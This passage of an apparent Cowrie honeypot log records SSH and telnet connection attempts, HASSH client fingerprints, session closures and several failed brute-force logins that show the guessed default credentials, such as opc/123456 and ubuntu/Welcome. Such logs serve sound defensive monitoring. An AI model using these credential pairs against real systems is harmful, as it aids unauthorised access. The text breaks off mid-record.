{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:50.310522Z","src_ip":"122.168.114.167","session":"d8153e29279e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":41542,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ce669096404","protocol":"telnet","message":"New connection: 176.74.31.147:41542 (159.203.135.109:23) [session: 3ce669096404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:50.612095Z"}
{"eventid":"cowrie.session.closed","duration":31.227757692337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:53.264515Z","src_ip":"176.74.31.147","session":"e7e60bfc4299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38935160636902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:55.343848Z","src_ip":"176.74.31.147","session":"6209c8c9f34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195531129837036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:58.381327Z","src_ip":"176.74.31.147","session":"c129effb52b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":47346,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4444095c6cb","protocol":"telnet","message":"New connection: 176.74.31.147:47346 (159.203.135.109:23) [session: d4444095c6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:08:58.959861Z"}
{"eventid":"cowrie.session.closed","duration":30.69367814064026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:02.248272Z","src_ip":"176.74.31.147","session":"30ab1e524fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.585267782211304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:02.774746Z","src_ip":"13.72.73.58","session":"3181408b0f62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334913730621338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:03.297455Z","src_ip":"176.74.31.147","session":"d788004737af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761934995651245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:08.282575Z","src_ip":"176.74.31.147","session":"39ee983357dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050525426864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:09.288377Z","src_ip":"13.72.73.58","session":"f31793e54dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":56742,"dst_ip":"159.203.135.109","dst_port":23,"session":"c55f00f75d97","protocol":"telnet","message":"New connection: 176.74.31.147:56742 (159.203.135.109:23) [session: c55f00f75d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:10.561655Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":43324,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9469368d637","protocol":"ssh","message":"New connection: 186.80.18.158:43324 (10.17.0.5:22) [session: a9469368d637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:10.813547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:10.818489Z","src_ip":"186.80.18.158","session":"a9469368d637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:10.925211Z","src_ip":"186.80.18.158","session":"a9469368d637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"321321","message":"login attempt [test/321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:11.259118Z","src_ip":"186.80.18.158","session":"a9469368d637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:11.380548Z","src_ip":"122.168.114.167","session":"d8153e29279e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:12.336273Z","src_ip":"186.80.18.158","session":"a9469368d637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.3850736618042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:12.781759Z","src_ip":"13.72.73.58","session":"fcdf5bea6fc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"31.4","message":"Connection lost after 31.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:17.071343Z","src_ip":"122.168.114.167","session":"d8153e29279e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.667240381240845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:18.370120Z","src_ip":"176.74.31.147","session":"efaa24769c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704017877578735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:21.316030Z","src_ip":"176.74.31.147","session":"3ce669096404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44636,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c46dfd8f403","protocol":"ssh","message":"New connection: 122.168.114.167:44636 (159.203.135.109:22) [session: 8c46dfd8f403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:25.228892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:29.953739Z","src_ip":"122.168.114.167","session":"8c46dfd8f403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:29.957513Z","src_ip":"122.168.114.167","session":"8c46dfd8f403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28457808494568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:30.244343Z","src_ip":"176.74.31.147","session":"d4444095c6cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7e68ac1c2eb","protocol":"ssh","message":"New connection: 159.203.92.129:56592 (159.203.135.109:22) [session: e7e68ac1c2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:32.024482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:32.029150Z","src_ip":"159.203.92.129","session":"e7e68ac1c2eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:32.034251Z","src_ip":"159.203.92.129","session":"e7e68ac1c2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserver","message":"login attempt [arkserver/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:32.046377Z","src_ip":"159.203.92.129","session":"e7e68ac1c2eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:33.053146Z","src_ip":"159.203.92.129","session":"e7e68ac1c2eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.46","src_port":45042,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f885e169874","protocol":"telnet","message":"New connection: 31.186.175.46:45042 (159.203.135.109:23) [session: 3f885e169874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:38.872410Z"}
{"eventid":"cowrie.session.closed","duration":30.63318920135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:41.194741Z","src_ip":"176.74.31.147","session":"c55f00f75d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":55108,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbea98138edc","protocol":"telnet","message":"New connection: 176.74.31.147:55108 (159.203.135.109:23) [session: dbea98138edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:49.075320Z"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:52.894407Z","src_ip":"122.168.114.167","session":"8c46dfd8f403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.1","message":"Connection lost after 34.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:09:59.334000Z","src_ip":"122.168.114.167","session":"8c46dfd8f403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":36292,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d5a28b585b","protocol":"telnet","message":"New connection: 176.74.31.147:36292 (159.203.135.109:23) [session: 65d5a28b585b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:02.845212Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47032,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac7f12cedca0","protocol":"ssh","message":"New connection: 122.168.114.167:47032 (159.203.135.109:22) [session: ac7f12cedca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:04.925565Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":52980,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70481bed613","protocol":"ssh","message":"New connection: 186.80.18.158:52980 (10.17.0.5:22) [session: e70481bed613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:08.891532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:08.897721Z","src_ip":"186.80.18.158","session":"e70481bed613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:08.976994Z","src_ip":"186.80.18.158","session":"e70481bed613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.212560653686523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:09.084871Z","src_ip":"31.186.175.46","session":"3f885e169874","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome","message":"login attempt [ubuntu/Welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:09.314782Z","src_ip":"186.80.18.158","session":"e70481bed613","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:10.064761Z","src_ip":"122.168.114.167","session":"ac7f12cedca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:10.068953Z","src_ip":"122.168.114.167","session":"ac7f12cedca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:10.394906Z","src_ip":"186.80.18.158","session":"e70481bed613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45242,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ad1a718da5","protocol":"ssh","message":"New connection: 159.203.92.129:45242 (159.203.135.109:22) [session: 17ad1a718da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:17.701067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:17.706076Z","src_ip":"159.203.92.129","session":"17ad1a718da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3d